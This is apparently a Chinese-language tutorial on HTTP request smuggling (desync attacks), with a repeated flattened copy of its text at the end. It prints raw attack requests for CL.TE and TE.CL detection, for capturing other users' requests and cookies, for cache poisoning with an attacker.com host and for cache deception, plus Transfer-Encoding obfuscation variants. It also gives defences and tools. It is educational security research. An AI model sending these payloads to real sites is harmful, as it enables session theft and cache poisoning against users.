HTTP Desync Attacks: Smashing into the Cell Next Door
字数 1325 2025-08-26 22:11:57

HTTP请求走私攻击:打破隔离的技术详解

概述

HTTP请求走私(HTTP Request Smuggling)是一种攻击者能够打破HTTP请求隔离性,将其请求转接到其他用户请求上的技术。通过这种技术,攻击者可以修改受害者的请求,将其路由到恶意领域,调用有害响应,甚至获取对内部API的特权访问。

核心概念

基本工作原理

自HTTP/1.1以来,通过一个底层TCP或SSL/TLS套接字发送多个HTTP请求被广泛支持。现代网站通常由多个系统组成,通过HTTP进行通信。这种多层架构通过单个TCP/TLS连接路由来自不同用户的HTTP请求。

关键问题在于:如果前端和后端对"每条消息在哪里结束"的理解不一致,攻击者可以发送一条不明确的消息,使后端将其解释为两个不同的HTTP请求。

攻击类型

  1. CL.TE攻击:前端使用Content-Length头,后端使用Transfer-Encoding头
  2. TE.CL攻击:前端使用Transfer-Encoding头,后端使用Content-Length头
  3. TE.TE攻击:前后端都使用Transfer-Encoding头,但对头的解析存在差异

攻击方法学

检测阶段

CL.TE检测方法

POST / HTTP/1.1
Host: vulnerable-website.com
Connection: keep-alive
Content-Type: application/x-www-form-urlencoded
Content-Length: 6
Transfer-Encoding: chunked

0
X

TE.CL检测方法

POST / HTTP/1.1
Host: vulnerable-website.com
Connection: keep-alive
Content-Type: application/x-www-form-urlencoded
Content-Length: 4
Transfer-Encoding: chunked

5c
GPOST / HTTP/1.1
Content-Type: application/x-www-form-urlencoded
Content-Length: 15

x=1
0

确认阶段

一旦检测到潜在漏洞,需要确认后端套接字中毒是否可能:

CL.TE确认攻击

POST /search HTTP/1.1
Host: vulnerable-website.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 50
Transfer-Encoding: chunked

e
q=smuggling&x=
0

GET /404 HTTP/1.1
Foo: x

TE.CL确认攻击

POST /search HTTP/1.1
Host: vulnerable-website.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 4
Transfer-Encoding: chunked

7c
GET /404 HTTP/1.1
Host: vulnerable-website.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 144

x=
0

探索阶段

通过反射POST参数来查看隐藏的HTTP头:

POST /login HTTP/1.1
Host: vulnerable-website.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 100
Transfer-Encoding: chunked

0

POST /login HTTP/1.1
Host: vulnerable-website.com
Content-Type: application/x-www-form-urlencoded
Cookie: session=xyz
Content-Length: 500

login[email]=attacker@evil.com&

利用技术

存储型利用

如果应用程序支持编辑或存储文本数据,可以通过在受害者请求前加上精心设计的存储请求来利用:

POST /settings/profile HTTP/1.1
Host: vulnerable-website.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 100
Transfer-Encoding: chunked

0

POST /settings/profile HTTP/1.1
Host: vulnerable-website.com
Content-Type: application/x-www-form-urlencoded
Cookie: session=xyz
Content-Length: 500

bio=<script>alert(1)</script>&

攻击型利用

  1. 升级XSS:将反射型XSS转变为存储型XSS
  2. DOM抓取:利用基于DOM的开放重定向
  3. CDN链式攻击:利用多层CDN/反向代理的解析差异
  4. 无害响应利用:如利用307重定向使受害者发送明文密码

Web缓存投毒

通过请求走私使有害响应被缓存:

GET / HTTP/1.1
Host: vulnerable-website.com
X-Ignore: X

GET /anything HTTP/1.1
Host: attacker.com
Foo: X

Web缓存欺骗++

获取包含敏感信息的响应并缓存:

GET /static/site.js HTTP/1.1
Host: vulnerable-website.com
X-Ignore: X

GET /account/settings HTTP/1.1
Host: vulnerable-website.com
Cookie: session=xyz

高级技术

隐藏Transfer-Encoding头

某些系统对Transfer-Encoding头的解析存在差异,可以使用以下变体:

Transfer-Encoding: xchunked

Transfer-Encoding : chunked

Transfer-Encoding: chunked
Transfer-Encoding: x

Transfer-Encoding:[tab]chunked

[space]Transfer-Encoding: chunked

X: X[\n]Transfer-Encoding: chunked

Transfer-Encoding
: chunked

PayPal案例研究

  1. 初始攻击:通过请求走私链式缓存投毒控制JavaScript文件
  2. 绕过CSP:利用iframe和没有CSP的子页面
  3. 二次绕过:使用换行符隐藏Transfer-Encoding头

防御措施

  1. 前端规范化:前端服务器应在继续路由前将不明确的请求规范化
  2. 后端拒绝:后端服务器应彻底拒绝不明确的请求并删除关联的连接
  3. 协议升级:使用HTTP/2与后端系统通信
  4. 禁用连接重用:完全禁用后端连接重用
  5. 统一配置:确保链中所有服务器使用相同的配置和Web服务器软件

工具推荐

  1. Desynchronize:Burp Suite扩展,用于自动识别请求走私漏洞
  2. Turbo Intruder:用于快速发送"受害者"请求
  3. Param Miner:用于发现反射参数

结论

HTTP请求走私是对Web的主要威胁,HTTP请求解析是一个安全关键的功能,容忍不明确的消息是危险的。通过理解攻击原理、掌握检测和利用方法,安全研究人员可以更好地识别和防御此类漏洞。

HTTP请求走私攻击:打破隔离的技术详解 概述 HTTP请求走私(HTTP Request Smuggling)是一种攻击者能够打破HTTP请求隔离性,将其请求转接到其他用户请求上的技术。通过这种技术,攻击者可以修改受害者的请求,将其路由到恶意领域,调用有害响应,甚至获取对内部API的特权访问。 核心概念 基本工作原理 自HTTP/1.1以来,通过一个底层TCP或SSL/TLS套接字发送多个HTTP请求被广泛支持。现代网站通常由多个系统组成,通过HTTP进行通信。这种多层架构通过单个TCP/TLS连接路由来自不同用户的HTTP请求。 关键问题在于: 如果前端和后端对"每条消息在哪里结束"的理解不一致 ,攻击者可以发送一条不明确的消息,使后端将其解释为两个不同的HTTP请求。 攻击类型 CL.TE攻击 :前端使用Content-Length头,后端使用Transfer-Encoding头 TE.CL攻击 :前端使用Transfer-Encoding头,后端使用Content-Length头 TE.TE攻击 :前后端都使用Transfer-Encoding头,但对头的解析存在差异 攻击方法学 检测阶段 CL.TE检测方法 : TE.CL检测方法 : 确认阶段 一旦检测到潜在漏洞,需要确认后端套接字中毒是否可能: CL.TE确认攻击 : TE.CL确认攻击 : 探索阶段 通过反射POST参数来查看隐藏的HTTP头: 利用技术 存储型利用 如果应用程序支持编辑或存储文本数据,可以通过在受害者请求前加上精心设计的存储请求来利用: 攻击型利用 升级XSS :将反射型XSS转变为存储型XSS DOM抓取 :利用基于DOM的开放重定向 CDN链式攻击 :利用多层CDN/反向代理的解析差异 无害响应利用 :如利用307重定向使受害者发送明文密码 Web缓存投毒 通过请求走私使有害响应被缓存: Web缓存欺骗++ 获取包含敏感信息的响应并缓存: 高级技术 隐藏Transfer-Encoding头 某些系统对Transfer-Encoding头的解析存在差异,可以使用以下变体: PayPal案例研究 初始攻击:通过请求走私链式缓存投毒控制JavaScript文件 绕过CSP:利用iframe和没有CSP的子页面 二次绕过:使用换行符隐藏Transfer-Encoding头 防御措施 前端规范化 :前端服务器应在继续路由前将不明确的请求规范化 后端拒绝 :后端服务器应彻底拒绝不明确的请求并删除关联的连接 协议升级 :使用HTTP/2与后端系统通信 禁用连接重用 :完全禁用后端连接重用 统一配置 :确保链中所有服务器使用相同的配置和Web服务器软件 工具推荐 Desynchronize :Burp Suite扩展,用于自动识别请求走私漏洞 Turbo Intruder :用于快速发送"受害者"请求 Param Miner :用于发现反射参数 结论 HTTP请求走私是对Web的主要威胁,HTTP请求解析是一个安全关键的功能,容忍不明确的消息是危险的。通过理解攻击原理、掌握检测和利用方法,安全研究人员可以更好地识别和防御此类漏洞。